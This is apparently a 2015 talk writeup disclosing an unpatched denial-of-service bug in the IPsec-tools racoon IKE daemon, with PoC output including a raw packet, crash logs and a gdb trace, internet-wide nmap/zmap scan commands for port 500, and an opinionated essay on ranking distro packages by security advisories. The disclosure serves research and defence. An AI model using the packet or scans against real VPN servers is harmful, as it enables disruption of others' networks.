IPsec Vulnerabilities and Software Security Prediction

Javantea

May 6, 2015

TA3M May 18, 2015

IPsec-tools 0-day Exploit [sig]

Warning

Fair warning: If you are an employee of a federal, state, city, or county government, or if you carry a clearance this document contains documents that you are not allowed to see. If you wish to become employed at such an agency, viewing this document will make your life more difficult.

Introduction

Racoon Null Deref Logo

IPsec-tools is vulnerable to a 0-day exploit that I am making available today. It is a null dereference crash, so it's a denial of service against the IKE daemon. You may gawk and say that it doesn't deserve a medium rating, but remember that IPsec is critical infrastructure and this attack requires two small UDP packets. This denial of service violates the premise that security is built upon. It is easily detectable if logs are turned on or if users disconnect and reconnect regularly. It may be possible to create an Intrusion Detection/Prevention (IDP) signature, but more likely you will have to run a honeypot to detect a sophisticated attacker. If you're running IPsec-tools, replace it sensibly as soon as possible. Do not replace it with Openswan or Freeswan and do not replace it with an old unpatched version of another IPsec implementation.

This talk is in two parts: IPsec Tools vulnerability and Software Security Prediction.

Outline:

IPsec Tools Vulnerability

What is IPsec?

IPsec is a piece of software that is often used for critical infrastructure. It modified the IP stack so that all layers below IP can be encrypted (TCP, UDP, etc) and even Layer 2 can be encrypted using a tunneling daemon. It's often described as a VPN and is used as part of a VPN, but don't confuse yourself about what IPsec is doing.

Features that IPsec attempts to provide:

Demo

IPsec-tools 0-day Exploit [sig]

Usage:

python3 repro_racoon_dos129.py
Warning: Unable to bind to port 500. Might not work. [Errno 13] Permission denied
Umm, okay.
129 ('\x81\xcf{r\x8e\xb6a\xdd9\xf1\x87cP\xb1\x05\xc7\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x98\r\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x000\x01\x01\x00\x01\x00\x00\x00(\x01\x01\x00\x00\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x01Q\x80\x80\x01\x00\x07\x80\x0e\x01\x00\x80\x03\x00\x03\x80\x02\x00\x02\x80\x04\x00\x05\r\x00\x00\x14J\x13\x1c\x81\x07\x03XE\\W(\xf2\x0e\x95E/\r\x00\x00\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00\x00\x00\x00\x18@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\x80\x00\x00\x00', ('192.168.88.247', 500))
129 sending second packet
Umm, okay.

What it looks like on the server:

sudo racoon -F -v -f server_racoon.conf >server_dos5m.txt 2>&1 &

jvoss@ipsecu:~$ dmesg |tail
[  584.440533] AVX or AES-NI instructions are not detected.
[  584.442253] AVX or AES-NI instructions are not detected.
[  584.490468] AVX instructions are not detected.
[13683.867215] init: upstart-udev-bridge main process (361) terminated with status 1
[13683.867223] init: upstart-udev-bridge main process ended, respawning
[13683.867307] init: upstart-file-bridge main process (452) terminated with status 1
[13683.867313] init: upstart-file-bridge main process ended, respawning
[13683.867386] init: upstart-socket-bridge main process (616) terminated with status 1
[13683.867392] init: upstart-socket-bridge main process ended, respawning
[19912.460170] racoon[3701]: segfault at 100 ip 00007fe0eba84ce7 sp 00007ffff51db730 error 4 in racoon[7fe0eba5e000+93000]

2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00
2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION
2015-04-27 15:22:14: INFO: received Vendor ID: DPD
2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947
2015-04-27 15:22:14: [169.254.44.43] ERROR: ignore the packet, received unexpecting payload type 128.
2015-04-27 15:22:14: INFO: respond new phase 1 negotiation: 169.254.88.251[500]<=>169.254.44.43[42258]
2015-04-27 15:22:14: INFO: begin Identity Protection mode.
2015-04-27 15:22:14: INFO: received Vendor ID: RFC 3947
2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02
2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02

2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00
2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION
2015-04-27 15:22:14: INFO: received Vendor ID: DPD
2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947

Program received signal SIGSEGV, Segmentation fault.
0x000055555557ace7 in ?? ()
(gdb) bt
#0  0x000055555557ace7 in ?? ()
#1  0x000055555557b775 in ?? ()
#2  0x000055555556c1a1 in ?? ()
#3  0x0000555555563fd1 in ?? ()
#4  0x00005555555658ec in ?? ()
#5  0x000055555555fc9d in ?? ()
#6  0x000055555555f273 in ?? ()
#7  0x00007ffff6953ec5 in __libc_start_main (main=0x55555555f010, argc=5, argv=0x7fffffffe738, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe728) at libc-start.c:287
#8  0x000055555555f3ec in ?? ()

(gdb) x/15i $rip - 12
   0x55555557acdb:      mov    %eax,0x1c8(%rsp)
   0x55555557ace2:      mov    0x28(%r12),%rax
=> 0x55555557ace7:      mov    0x100(%rax),%rax
   0x55555557acee:      mov    0x30(%rax),%rax
   0x55555557acf2:      test   %rax,%rax
   0x55555557acf5:      je     0x55555557af00
   0x55555557acfb:      mov    (%rax),%rdx
   0x55555557acfe:      lea    0x20(%rsp),%r13
   0x55555557ad03:      mov    0x8(%rax),%rax
   0x55555557ad07:      lea    0x1c(%rsp),%rbx
   0x55555557ad0c:      lea    0x30(%rsp),%rsi
   0x55555557ad11:      mov    %r13,%rcx
   0x55555557ad14:      mov    %rdx,0x30(%rsp)
   0x55555557ad19:      mov    %rbx,%rdi
   0x55555557ad1c:      xor    %edx,%edx

(gdb) i r
rax            0x0      0
rbx            0x0      0
rcx            0x5555558dbe40   93824995933760
rdx            0x5555558dbe40   93824995933760
rsi            0x0      0
rdi            0x5555558dbdc0   93824995933632
rbp            0x5555558dbdc0   0x5555558dbdc0
rsp            0x7fffffffd180   0x7fffffffd180
r8             0x5555558dbdc0   93824995933632
r9             0x7ffff6cf07b8   140737334151096
r10            0xbdb00  776960
r11            0x5555558da301   93824995926785
r12            0x5555558da300   93824995926784
r13            0x555555822460   93824995173472
r14            0x5555558da420   93824995927072
r15            0x7fffffffd260   140737488343648
rip            0x55555557ace7   0x55555557ace7
eflags         0x10206  [ PF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

How Not To Use IPsec

IPsec comes with many vulnerable modes of operation. Part of this can be explained by bad configuration, but most of it is bad design. Here is an incomplete list of mistakes you can make running IPsec.

Why not?

The NSA wants all your data and they have the computational power to take it. []

TURMOIL

That's why not.

The Vulnerability

    if (iph1->rmconf->proposal->gssid != NULL) {

Fuzzers missed this. Hackers missed this. Believe you me, I would have missed it if I wasn't diligent and lucky.

Since NetBSD, FreeBSD, Android, and many products use IPsec tools, it would be worthwhile to test them all to find out which are vulnerable and which are not. Android does not compile in GSSAPI according to the Makefile I checked, but we'll get back to why Android using IPsec-tools is bad.

Why isn't this patched already?

The authors never responded to our repeated requests. We never contacted FreeBSD or NetBSD because we didn't spend enough time to check kame.net. To be honest NetBSD is a pain to deal with. To install FreeBSD or NetBSD takes hours I don't have. I got the offer to give a subversive anti-authoritarian talk at TA3M. I sent a friendly request. I wrote it up. My colleagues published the vulnerability to SourceForge. Now I'm doing the full disclosure and advertising necessary to get people to switch.

How long does it take to fix one bug?

It would take about 1 hour to fix and ensure that no similar bug existed nearby. It would take about 20 hours to notify everyone who makes IPsec-tools available through a product.

I am unwilling to do that work. Full disclosure and CVE was made for this problem. []

The distrust of IPsec-tools that this vulnerability presents is insurmountable. If you think I'm wrong, point to the maintainer of IPsec-tools. If someone picks this up, I'm going to find another vuln in it and drop 0-day again.

This bug violates the premise that IPsec's security is based upon. Someone who doesn't understand IPsec might say this is a low severity vulnerability. Someone who does distro security should see this as the final nail in IPsec-tools' coffin.

What it means

When the IKE daemon crashes, it may or may not be restarted. If it is restarted, it gives the attacker as many attempts as they want to get the IKE daemon into the startup state. Result: unknown. If it is not restarted, the keys do not get changed. When the IV gets repeated, the stream loses some confidentiality and integrity. Replay becomes easy. Result: possible compromise. If the system decides that the two systems should no longer use IPsec, the system may revert back to IP silently. Result: possible complete compromise. If the system decides to instead stop sending packets to the affected system, this is a complete availability compromise.

When encryption is compromised, the layer below becomes available to the attacker. IPsec was designed to run over public networks, thus attackers are there.

Man-in-the-middle is not theoretical. It is practical and exploitable on WiFi (road-warrior use-case), corporate networks (flat topology corporation use-case), server racks (DMZ/segmented use-case), and backbone routers (ISP use-case). []

I am not trying to be alarmist. The odds of someone compromising your entire corporate network based on this vulnerability are low. It will take someone at least 4 hours to attempt to compromise your network based on this exploit. The NSA compromised an air-gapped network in Iran and destroyed centrifuges []. If they want what you have, they can use this or five other things.

IPsec Design Choices

IPsec is too complex a protocol. It lacks the flexibility of x.509. TLVs are designed to reduce buffer overflows, not cause them. Developer confusion has led to bad problems. Privileges of the IKE daemon are often root. Any IP packet can go over IPsec. It took 8 hours to implement an IKE client. It took 8 hours to implement an IKE server. Why do we need flexibility? The authors of IPsec should be ashamed of themselves. They have the obvious excuse of having written it in the 90s. Why haven't we replaced IPsec? Bruce Schneier has publicly lambasted IPsec already []. This should not be news to anyone who has implemented IPsec. This should not be news to anyone who has used IPsec.

Who uses IPsec-tools?

IPsec-tools has a unique response signature, so you can write an NMap script to detect it with few or no false positives (many false negatives unfortunately I believe). If you run FreeBSD or NetBSD with IPsec, you are running IPsec-tools. If you are running pfSense, you are running IPsec-tools. I wasn't able to run NetBSD, FreeBSD, or pFSense, so these statements need to be tested. Who wants to e-mail all the authors? Not me.

Here is this month's IPsec Tools user mailing list.
The last post on devel mailing list is from March.

You don't need to run

nmap -sU -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike1

or

sudo nmap -sU -sV -O -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike2

or

sudo zmap ike

to find a long list of people using IPsec-tools. Try downloading the Internet survey. Try getting a Pro account at Shodan. Also, nmap doesn't find vulnerable servers as easily as my exploit. I even have a non-harmful way of detecting IPsec-tools.

Aside: IPsec Scanners

There are a large number of IPsec scanners currently scanning the whole IPv4 for IKE servers. What do you think they're up to? Some of them are just researching. Some of them are script kiddies. Some of them are spoofing their IP address. But my educated guess is that most of them have 0-day in hand and are exploiting every vulnerable VPN they come across. What evidence do I have to support my hypothesis? Only the packets that each of these are sending.

Count IP Address
915 92.156.83.10
413 88.182.227.2
379 222.64.125.46
366 202.153.47.42
156 92.139.69.91
146 195.87.244.8
134 2.12.52.14
132 5.107.86.214
115 93.100.141.178
113 212.57.6.226
102 212.21.46.34
98 41.214.10.33
92 114.35.125.229
90 41.136.2.241
90 41.136.18.209
85 79.165.141.243
79 67.68.122.156
79 46.14.13.125
64 124.148.219.105
60 190.199.39.243
59 203.59.158.2
57 95.29.206.187
56 185.56.161.133
56 154.70.115.98
46 41.136.47.233
45 86.235.41.154
43 212.87.172.4
42 89.157.119.185
41 50.189.102.250

How many webpages need to be fixed?

Hundreds of webpages need to be fixed. The reason I found this vulnerability is because I made the mistake of following someone's IPsec How-To. Don't trust How-Tos written ten years ago. Don't trust How-Tos written yesterday.

Are the others any better?

The answer to this question is very complex, so yes and no. The competing projects strongSwan, Libreswan, and OpenVPN have recently found bugs. strongSwan has a maintainer and contributors. Libreswan also. OpenVPN as well. Libreswan has development as recent as 12 days ago. strongSwan today. OpenVPN had development today. OpenVPN has been trusted by dozens of security companies.

How many of these can be said of IPsec-tools? No recently found bugs, no maintainer, no development in years, and no self-respecting security company uses IPsec-tools. Or do they?

Software Security Prediction

Crystal balls do not work

I am not here to give us a crystal ball or try to accurately predict the next month of Full-Disclosure. Instead of picking stocks, I am going to reveal a software security trend.

Today I provide a tool that will focus our efforts on replacing the bad actors of the software world and testing and fixing bugs in good software. If we decide not to fix these software that everyone uses, we will be worse off for it. Software is not a lemons' market like I have thought so many times before. It is a very complex market where some people know so much they burst at the seams trying to report all the vulnerabilities they find. Some people honestly know nothing and that's okay, so long as their choices are made based on other's expertise and enough data that we can make good decisions with.

"I came not to bring peace, but to bring a sword"

Uninstall Windows. Uninstall Adobe Flash. Uninstall Java. I know a lot of people can't do that just yet. When you find the true name of a bad actor, it's important to add them to a list. We won't be glitter bombing these bad actors yet, instead we can start by creating systems that do not have their products installed. Do not put valuable data on systems that have their software installed. Do not type your valuable passwords into systems that have their software installed. This is hard. I know because I have tried it. If you find a solution that doesn't require users to expend enormous effort, please cite my paper.

Steps to Distro Security

Software Security Prediction Flowgraph

Step 1

Step 1: Create a metadata file for each package from your distro. Copy or link all metadata files into a directory. Put a directory listing into a file. Order the list of packages by number of systems that currently use that piece of software.

For starters, this is the code for Gentoo using eix. There are better ways to do this, but this is effective.

    EIX_LIMIT=0 eix -I --only-names >packages1.txt
    mkdir security_metadata; cd security_metadata
    for pkg in $(cat ../packages1.txt); do 
        mkdir $(dirname "$pkg") 2>/dev/null
        touch "$pkg"
        ln -s "$pkg" $(dirname "$pkg")__$(basename "$pkg")
    done

    ls -1 |sed 's#__#/#g' >../packages_sort.txt

Now to get these in order of how many systems. Run the first command on many systems and name the output file differently for each system. Put all these files on one system and do the following:

    cat ../packages1*.txt |sort |uniq -c |sort -nr >../packages1_sus.hist

Now we have a histogram that tells us which are the most important packages because they are installed on a lot of machines. For my four systems, 192 packages are on all 4, while 1102 are on 2 or more. This is out of 2328 packages. While even the smallest package can compromise a system, the ones that aren't used often can be pushed back and the ones that are used more often can be promoted. To use security data, we can use these two lines of code:

    grep -h '<package name' /usr/portage/metadata/glsa/glsa-20*.xml | sed 's#<package name="##g;s#" auto="[^"]*" arch="[^"]*">##g' |sort |uniq -c |sort -nr >../glsa1.pkg.hist

As you can plainly see, all of the major offenders are right up top. Don't get me wrong, these are people who have spent countless hours tirelessly searching for vulnerabilities and fixing them. They should be applauded. But we can learn from this which software needs the most work. For those that don't go above and beyond on their testing, their software should be blacklisted until they prove themselves.

Step 2

Step 2: Add a security contact to the metadata for that package.

Ensure that you have recently contacted this person about a security bug and have received a valid response from them. If you don't have a security contact and the project hasn't fixed a bug in over 2 months, the project is not being properly maintained. Add it to the list of unmaintained projects. If the project doesn't have a security contact but has fixed bugs, find out whether the person who pushed the bug fix is willing to officially fix security bugs. If not, the project is not properly maintained. If the maintainer is on vacation and there is no other maintainer, make a note to contact them when they come back from vacation.

Step 3

Step 3: Once you filter the projects into maintained and unmaintained, start at the top of the unmaintained list and contact heavy users about possibly finding a maintainer.

Tell them that if the project is not maintained, it will be removed from the disto. If no maintainer/security contact is found, the project is no longer acceptable in the distro and must be replaced. Put the project into the list of projects that need to be replaced.

Step 4

Step 4: Once you filter the unmaintained projects into possibly maintained and needs to replaced, look for replacements for the project. If one exists, deprecate the project and let users know that a replacement exists. If users refuse to replace the project, let them know that they do it at their own risk and do not allow them to install it using your distro's package management. Instead provide a way for a user to download it manually and install it (like a Windows application). Use your security system to inform the user when they ask that the project is unmaintained.

For example, Gentoo could provide an overlay with projects deprecated due to security concerns. This would come with a set of GLSAs which describe the problem of outdated software. These GLSAs would not need to be distributed with the normal portage system unless the packages were being distributed with portage.

Step 5

Step 5: Require maintained projects to increase their security depending on their criticality. This is done by deciding the severity of a compromise of the system compared to date of the last vulnerability found. This will lower the value for projects that need security testing but will eventually decrease the time spent looking at projects that have good security from the get-go. Projects may decide to hide vulnerabilities to make their last bug found more distant, which means that when users report bugs in old software, this data can be integrated into this data rather than being lost in the bug tracker as just being fixed.

Step 6

Step 6: Require security testing tools used on critical projects to be used against all similar projects (high and low importance projects). While this will uncover many low severity vulnerabilities and waste time, it will improve the overall quality of source code without requiring duplication of efforts.

The cost of looking for bugs is greatly outweighed by the benefit of testing these systems.

Step 7

Step 7: Create a list of authors who have abandoned projects. Make sure that any project that they work on is treated more critically than it otherwise would be. This prevents serial offenders from contributing to a project during its maintenance phase, becoming the maintainer, and then abandoning it.

Step 8

Step 8: Use smell test to determine whether a project is being tested as well as it should be. This includes running splint, pylint, and other noisy "bug finder" tools on the software as well as taking into account gripes from users about bugs that aren't being fixed. This type of transparent gripe factory will provide data for users decide whether a piece of software is in high development and shouldn't be used in production or whether it's a lemon, like OpenSSL. This will make it possible to predict security based on the trend of improving security without lemons or bad actors.

Aside: Bad Actors Never Think Of Themselves That Way

Bad actors usually think of themselves as the good guy. They are the main developer of a popular open source software project. They are a well paid developer of a major piece of software. They are the father of two wonderful children. They are the judge that makes hard choices because no one would otherwise. They are the entrepreneur who supplies people medication to people who are in severe pain.

Relativism and Utilitarianism are not a valid excuse for doing harm. A person who does harm consistently marks himself or herself as a bad actor. It is our job to name them and reduce harm.

The list of software to replace

This list is clearly incomplete and needs improvement, but this list gives us a good starting position.
GLSAs Package Name
30 clamav
27 adobe-flash
24 apache
19 opera
19 openssl
19 acroread
18 asterisk
18 mplayer
18 xine-lib
18 mozilla-thunderbird
18 mysql
17 php-myadmin
16 openoffice
16 mit-krb5
15 squid
15 cups
15 php
15 java
15 ruby + rails
15 pidgin
14 seamonkey
14 samba
11 tikiwiki
11 bind
9 wordpress
9 xorg-server
9 xpdf
8 curl
8 ipsec-tools
8 squirrelmail
8 emul-linux-x86-java
8 heimdal
7 mediawiki
7 mantisbt
7 horde
7 openswan
6 ghostscript + gv (~180 unfixed fuzzing-related bugs)
6 nginx
6 proftpd
5 ntp
4 bash
3 zlib
3 rssh
2 silc
2 unrar/rar
? akonadi baloo nepomuk

The list of software to fix

This list contains projects that are currently being tested, but would improve with thorough testing methods that are well-documented.
GLSAs Package Name
34 firefox
31 wireshark
21 chromium
14 libpng
13 kdelibs
12 libxml2
11 freetype
11 glibc
11 python
10 gnutls
10 tiff
10 perl
10 sudo
9 poppler
9 lighttpd
9 gallery
9 file
9 kdegraphics
9 postgresql
9 gnupg
8 tor
8 vlc
8 v8
7 rsync
? irssi
5 gimp
? johntheripper
? screen
? libjpeg-turbo
? cairo
3 gtk+
? librsvg
5 graphicsmagick
2 inkscape
? cgit
3 links
? gcc
? mesa radeon/ati/intel
? nouveau
3 git

Steps in the right direction

Projects often come up that give us the ability to improve our methods. These projects are a good start toward a secure environment.

Conclusion

If security was a trivial matter, we wouldn't need to think very big about it. We would batten down the hatches and weather the storm. Instead, we're seeing thousands of medium and high severity vulnerabilities each year. I produce a 1-20 each year and I'm only spending a few hours here and there.

We sit on top of a wealth of knowledge. Our inaction causes us harm. Our action causes us harm. Don't worry, I have a plan. Instead of reactive security, we should reward those software projects whose proactive security projects find and fix bugs. If a bug is found in a piece of software with many eyes on it, why? We can't just pat them on the back every time they add a bug and then fix it. We want them to release the tools by which they tested their software. If there are no tools, there is no testing. If they haven't fuzzed, why in the world not? If they haven't run their software with Valgrind, why not? If they haven't run static analysis tools on it, why not? If the static analysis tool produced a ton of false positives, who is staking their reputation on that being true? Who is validating the results of the static analysis tool they use?

For those who would like to publicize the cause of getting people to stop using IPsec-tools, please use the logos here or create a new logo.

Racoon Null Deref Logo Anim

I am Javantea and I do a lot of hacking, but my real passion is Nanotechnology. I've been studying for over a year and I am looking for peers. I am planning on taking the month of June off to do radio astronomy, so if I don't respond to your e-mails be patient.

Thanks to Ann, my friends, Neg9, Melody, Batman's Kitchen, the organizers of TA3M. To those who think critically and speak out: Keep it up!

Works Cited

TODO